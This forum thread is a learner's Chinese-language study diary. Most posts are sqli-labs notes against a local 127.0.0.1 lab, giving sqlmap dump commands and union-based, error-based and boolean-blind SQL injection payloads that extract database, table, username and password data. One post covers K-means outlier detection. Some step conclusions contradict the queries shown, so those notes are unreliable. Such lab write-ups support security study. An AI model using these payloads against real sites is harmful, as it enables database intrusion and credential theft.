安全矩阵

 找回密码
 立即注册
搜索
查看: 57|回复: 5

郭力学习日记

[复制链接]

1

主题

6

帖子

25

积分

新手上路

Rank: 1

积分
25
发表于 2020-10-16 20:51:50 | 显示全部楼层 |阅读模式
10.16.2020
必须熟悉的书:《python数据分析与挖掘实战》
最近在看的书:《web安全攻防》
etc.
回复

使用道具 举报

1

主题

6

帖子

25

积分

新手上路

Rank: 1

积分
25
 楼主| 发表于 2020-10-16 22:12:15 | 显示全部楼层
web安全攻防
首先按书上步骤搭建好了漏洞环境,WampSever这个软件在windows下将Apache+PHP+Mysql集成环境,操作方便简单。
接下来是SQLMap入门,
1.判断是否存在注入
目标注入点:http://127.0.0.1/sql1/Less-1/?id=1
输入:python27\sqlmap>python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1"



结果:注入点类型、服务器类型、Apache、PHP版本等
2.判断文本中的请求是否存在注入
从文件中加载HTTP请求,SQLMap可以从一个文本文件中获得HTTP请求,
   1.txt
GET /sql1/Less-1/?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
输入:python2 sqlmap.py -r C:\Users\13749\Anaconda3\envs\python27\sqlmap\1.txt
-r一般在存在cookie注入时使用
3.查询当前用户下的所有数据库
在确定网站存在注入后,用于查询当前用户下的所有数据库
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" -dbs

继续注入时,--dbs缩写成-D xxx(数据库名),在xxx(数据库)中继续查询其他数据
4.获取数据库中的表名
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" -D security --tables

若不加入-D参数指定某一个具体的数据库,SQLMap会列出数据库中所有库的表
5.获取表中的字段名
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" -D security -T users --columns

Security数据库中的users表一共三个字段
6.获取字段内容
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" -D security -T users -C username,password --dump

7.获取数据库的所有用户
在当前用户有权限读取包含所有用户的表的权限时,使用该命令可以列出所有管理用户
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --users

8.获取数据库用户的密码
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --passwords

(没有设置密码)
9.获取当前网站数据库的名称
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --current-db

10.获取当前网站数据库的用户名称
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --current-user

没有整理完,明天继续

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

1

主题

6

帖子

25

积分

新手上路

Rank: 1

积分
25
 楼主| 发表于 2020-10-18 18:56:08 | 显示全部楼层
python数据分析与挖掘实战
离群点检测

离群点成因:数据来源于不同的类,自然变异,数据测量和收集误差
离群点类型:
1、全局离群点和局部离群点:从整体来看某些对象没有离群特征,但是从局部来看,却显示了一定的离群性。
2、数值型离群点和分类型离群点
3、一维离群点和多维离群点
离群点检测方法:
1、基于统计:构建一个分布模型,并计算对象符合该模型的概率,把具有低概率的对象视为离群点,前提是必须知道数据集服从什么分布
2、基于近邻度:在数据对象之间定义邻近性度量,把远离大部分点的对象视为离群点
3、基于密度:数据集可能存在不同密度区域,离群点是在低密度区域中的对象,一个对象的离群点得分是该对象周围密度的逆
4、基于聚类:丢弃远离其他簇的小簇;或者先聚类所有对象,然后评估对象属于簇的程度。
基于模型的离群点检测方法:通过估计概率分布的参数来建立一个数据模型。如果一个数据对象不能很好地同该模型拟合,即如果它很可能不服从该分布,则是一个离群点
1、一元正态分布中的离群点检测:N(0,1)的数据对象出现在该分布的两边尾部的机会很小,因此可以用它作为检测数据对象是否是离群点的基础
2、混合模型的离群点检测:混合模型是一种特殊的统计模型,它使用若干统计分布对数据建模,每个分布对应一个簇,而每个分布的参数提供对应簇的描述,通常用中心和发散描述
3、基于聚类的离群点检测方法:
(1)丢弃远离其他簇的小簇:该过程可以简化为丢弃小于某个阈值的所有簇
(2)基于原型的聚类:首先聚类所有对象,然后评估对象属于簇的程度。可以用对象到他的簇中心的距离来度量属于簇的程度。
基于原型的聚类主要有两种方法评估对象属于簇的程度:一是度量对象到簇原型的距离,并用它作为该对象的离群点得分;二是考虑到簇具有不同的密度,可以度量簇到原型的相对距离,相对距离是点到质心的距离与簇中所有点到质心的距离的中位数之比
基于原型的聚类代码:
  1. import numpy as np
  2. import pandas as pd
  3. #参数初始化
  4. inputfile='D:\source\chapter5\demo\data\consumption_data.xls' #销量及其他属性数据
  5. k=3 #聚类的类别
  6. threshold=2 #离散点阈值
  7. iteration=500 #聚类最大循环次数
  8. data=pd.read_excel(inputfile,index_col='Id') #读取数据
  9. data_zs=1.0*(data-data.mean())/data.std() #数据标准化

  10. from sklearn.cluster import KMeans
  11. model=KMeans(n_clusters=k,n_jobs=4,max_iter=iteration)
  12. #分为k类,并发数4
  13. model.fit(data_zs) #开始聚类
  14. #标准化数据及其类别
  15. r=pd.concat([data_zs,pd.Series(model.labels_,index=data.index)],axis=1)#每个样本对应的类别
  16. r.columns=list(data.columns)+['聚类类别']#重命名表头

  17. norm=[]
  18. for i in range(k):
  19.     norm_tmp=r[['R','F','M']][r['聚类类别']==i]-model.cluster_centers_[i]
  20.     norm_tmp=norm_tmp.apply(np.linalg.norm,axis=1) #求出绝对距离
  21.     norm.append(norm_tmp/norm_tmp.median()) #求相对距离并添加
  22.    
  23. norm=pd.concat(norm) #合并
  24.    
  25. import matplotlib.pyplot as plt
  26. plt.rcParams['font.sans-serif']=['SimHei'] #用来正常显示中文标签
  27. plt.rcParams['axes.unicode_minus']=False #用来正常显示负号
  28. norm[norm<=threshold].plot(style='go') #正常点
  29.    
  30. discrete_points=norm[norm>threshold] #离群点
  31. discrete_points.plot(style='ro')
  32.    
  33. for i in range(len(discrete_points)): #离群点做标记
  34.     id=discrete_points.index[i]
  35.     n=discrete_points.iloc[i]
  36.     plt.annotate('(%s,%0.2f)'%(id,n),xy=(id,n),xytext=(id,n))
  37.    
  38. plt.xlabel('编号')
  39. plt.ylabel('相对距离')
  40. plt.show()
复制代码

需要再记一遍的:
concat()函数
concat方法相当于数据库中的全连接(UNION ALL),可以指定按某个轴进行连接,也可以指定连接的方式join(outer,inner 只有这两种)。
与数据库不同的是concat不会去重,要达到去重的效果可以使用drop_duplicates方法
https://blog.csdn.net/qq_31798135/article/details/102652821
回复

使用道具 举报

1

主题

6

帖子

25

积分

新手上路

Rank: 1

积分
25
 楼主| 发表于 2020-10-18 21:14:45 | 显示全部楼层
web安全攻防
sql注入
(配套暑假老师的视频)
sqli-labs第一关


id='$id',封闭前一个单引号,在后面加语句,判断出sql注入


http://127.0.0.1/sql1/Less-1/?id=1'and 1=1
http://127.0.0.1/sql1/Less-1/?id=1'and 1&1


http://127.0.0.1/sql1/Less-1/?id=1'||'1'--+


http://127.0.0.1/sql1/Less-1/?id=1'|'2'--+

http://127.0.0.1/sql1/Less-1/?id=1'|'1'--+


http://127.0.0.1/sql1/Less-1/?id=1' and 1=2--+



http://127.0.0.1/sql1/Less-1/?id=1' and 5>34--+

http://127.0.0.1/sql1/Less-1/?id=1' || 5>34--+
http://127.0.0.1/sql1/Less-1/?id=1' || (5>34)--+

http://127.0.0.1/sql1/Less-1/?id=1' order by 1,2,3,4,5,6--+
判断出只有4列
http://127.0.0.1/sql1/Less-1/?id=1' order by 1,2,3--+

http://127.0.0.1/sql1/Less-1/?id=1' and 1=2 union select 1,2,3--+

http://127.0.0.1/sql1/Less-1/?id=1' and 1=2 union select 1,version(),3--+

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,username,password from users where id=2--+

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,database(),3--+

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database()--+

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,2,concat((select user()),(select database()))--+

查询所有数据库名
http://127.0.0.1/sql1/Less-1/
?id=1' and 1=2 union select 1,(select group_concat(schema_name)from information_schema.schemata),3--+

查询security内的所有表名
http://127.0.0.1/sql1/Less-1/
?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3--+

使用下面的语句爆破出列名
http://127.0.0.1/sql1/Less-1/
?id=1' and 1=2 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='users')--+

爆用户名和密码
http://127.0.0.1/sql1/Less-1/
?id=1' and 1=2 union select 1,(select group_concat(password)from security.users), (select group_concat(username)from security.users)--+



















本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

1

主题

6

帖子

25

积分

新手上路

Rank: 1

积分
25
 楼主| 发表于 7 天前 | 显示全部楼层
web安全攻防
sql注入
lesson5
http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand()*2)) as a from information_schema.tables group by a --+

用户名为root


http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select database()),0x3a,floor(rand()*2)) as a from information_schema.tables group by a --+

http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+

改变limit参数查询表名,从0开始

查询到users()


下一步爆破字段名
http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select column_name  from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+

语句改为limit 0,1,查询出第一列为idlimit 2,1,查询出第三列为password


接下来爆用户名
http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select username  from users limit 0,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+

同理,爆出password
http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select password  from users limit 1,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+

补充:
extractvalue()
函数解释:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_documentString格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
extracvalue的第二个参数要求是xpath格式字符串,而输入的并不是,所以报错。
http://127.0.0.1/sql1/Less-5/
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

截出来的图片都大于1000k懒得传了
回复

使用道具 举报

1

主题

6

帖子

25

积分

新手上路

Rank: 1

积分
25
 楼主| 发表于 2 小时前 | 显示全部楼层
web安全攻防
sql注入
Lesson8 基于布尔盲注
函数学习:
1.LENGTH()函数用于获取对应字段的字符长度
select length(database())
返回:8
2.LEFT、RIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHAR或BINARY STRING。 
select left(database(),2)
结果:se
select left(database(),1) >'t'
结果:0
3.SUBSTR函数是用来截取数据库某一列字段中的一部分。
SUBSTR(str,pos,len);
就是从pos开始的位置,截取len个字符(空白也算字符)。
select substr('abcd',1,2)
ab
4.Ascii(‘a’)
返回字符表达式最左端字符的ASCII 码值。在ASCII()函数中,纯数字的字符串可不用‘’括起来,但含其它字符的字符串必须用‘’括起来使用
select substr(database(),1,1)
返回:s
select ascii(substr(database(),1,1))
返回:115
5.Char(97)
CHAR()将ASCII码转换为字符。如果没有输入0 ~ 255 之间ASCII 码值,CHAR()返回NULL
6.使用 REGEXP 关键字指定正则表达式的字符匹配模式
^字符
匹配字符串的开始位置,如“^a”表示以字母a开头的字符串。
select 'xxxyyy' regexp '^xx
返回:1
$字符
匹配字符串的结束部分。
select 'abcd' regexp 'cd$'
返回:1
*字符
星号匹配0个或多个字符,在它之前必须有内容
匹配前面元字符0次或多次,/ba*/将匹配b,ba,baa,baaa
. 字符
匹配任何字符(包括回车和新行)。
SELECT  'fofo'  REGEXP  '^f.*$'
返回:1
select '1' regexp '^[a-z]'
0
select 's' regexp '^[a-z]'
1
Select user() regexp '^[a-z]'
1


http://127.0.0.1/sql1/Less-8/?id=1'
无显示
http://127.0.0.1/sql1/Less-8/?id=1' and 1=1--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and 1=2--+
无显示
判断出存在注入点
下一步获得数据库名
http://127.0.0.1/sql1/Less-8/?id=1' and (length(database()))<10--+
http://127.0.0.1/sql1/Less-8/?id=1' and (length(database()))<9--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and (length(database()))<8--+
无显示
故数据库名长度为8
数据库名:
判断数据库名的首字母
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr(database(),1,1))<100--+
无显示
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr(database(),1,1))>100--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr(database(),1,1))>120--+
无显示
在100-120之间
多次缩小范围
ascii(substr(database(),1,1))=115 为s
获取表名
判断数据库中的第一张表表名的首字母
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110--+
无显示
故在110-120
最后判断出=101
Select char(101)
e
继续判断第二张表表名
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100--+
You are in ....
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>120--+
无显示
在100-120,最终得出=114对应字母r
判断users表中的第一列列名
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>110--+
无显示
=105  ->  i
猜数据,users表中password列第一个数据首字母
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select password from users  limit 0,1),1,1))>60--+
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select password from users  limit 0,1),1,1))<80--+
You are in...
=68 D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2020-10-26 11:38 , Processed in 0.014160 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表